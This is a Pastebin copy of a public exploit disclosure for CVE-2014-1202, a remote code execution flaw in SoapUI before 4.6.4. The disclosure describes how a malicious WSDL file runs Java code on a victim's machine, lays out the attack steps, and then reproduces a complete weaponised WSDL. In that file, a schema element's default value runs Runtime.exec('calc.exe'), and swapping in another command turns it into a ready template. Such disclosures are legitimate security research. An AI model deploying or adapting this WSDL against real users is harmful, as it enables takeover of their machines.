Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Exploit Title: SoapUI Remote Code Execution
- # Date: 25.12.13
- # Exploit Author: Barak Tawily
- # Vendor Homepage: <http://www.soapui.org/> http://www.soapui.org/
- # Software Link:
- <http://www.soapui.org/Downloads/download-soapui-pro-trial.html>
- http://www.soapui.org/Downloads/download-soapui-pro-trial.html
- # Version: vulnerable before 4.6.4
- # Tested on: Windows, should work at Linux as well
- # CVE : CVE-2014-1202
- This vulnerability allows attacker to execute java code to any client's
- machine that will use my WSDL file and will try to send request to the
- remote server.
- SoapUI allows the client execute code by entering a java code inside the
- following tag, the java code will be executed when the client will try to
- send request to the server:
- ${=JAVA CODE};
- Thus, an attacker can make a malicious WSDL file, determine a malicious java
- code as default value in one of the requests parameters, hence, when client
- uses malicious WSDL file and will try to send a request the java code will
- be executed.
- The attack flow is:
- 1. The attacker makes a malicious web service with fake WSDL including
- the java payload that will be executed on the victim.
- 2. The victim enters the soapUI program and will enter the malicious
- WSDL address.
- 3. The victim decides to send a request to the server, and the java
- code executed on the victim's machine.
- 4. The attacker succeed execute java code in the victim's machine, and
- will take over it.
- This vulnerability was check on the version (4.6.3), a proof of concept
- video can be found at: http://www.youtube.com/watch?v=3lCLE64rsc0
- malicious WSDL is attached.
- Please let me know if the vulnerability is about to publish
- Thanks, Barak.
- <?xml version="1.0"?>
- <definitions name="StockQuote"
- targetNamespace="http://example.com/stockquote.wsdl"
- xmlns:tns="http://example.com/stockquote.wsdl"
- xmlns:xsd1="http://example.com/stockquote.xsd"
- xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
- xmlns="http://schemas.xmlsoap.org/wsdl/">
- <types>
- <schema targetNamespace="http://example.com/stockquote.xsd"
- xmlns="http://www.w3.org/2000/10/XMLSchema">
- <element name="Payload" default="${=Runtime.getRuntime().exec('calc.exe')};" type="string">
- <complexType>
- <all>
- <element name="tickerSymbol" type="string"/>
- </all>
- </complexType>
- </element>
- <element name="TradePrice">
- <complexType>
- <all>
- <element name="price" type="float"/>
- </all>
- </complexType>
- </element>
- </schema>
- </types>
- <message name="GetLastTradePriceInput">
- <part name="body" element="xsd1:Payload"/>
- </message>
- <message name="GetLastTradePriceOutput">
- <part name="body" element="xsd1:TradePrice"/>
- </message>
- <portType name="StockQuotePortType">
- <operation name="Malicious_Request">
- <input message="tns:GetLastTradePriceInput"/>
- <output message="tns:GetLastTradePriceOutput"/>
- </operation>
- </portType>
- <binding name="Exploit" type="tns:StockQuotePortType">
- <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>
- <operation name="Malicious_Request">
- <soap:operation soapAction="http://example.com/GetLastTradePrice"/>
- <input>
- <soap:body use="literal"/>
- </input>
- <output>
- <soap:body use="literal"/>
- </output>
- </operation>
- </binding>
- <service name="StockQuoteService">
- <documentation>My first service</documentation>
- <port name="StockQuotePort" binding="tns:StockQuoteSoapBinding">
- <soap:address location="http://example.com/stockquote"/>
- </port>
- </service>
- </definitions>
- # D29E8ADC4F0FED51 1337day.com [2014-01-14] 92A3423903255747 #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement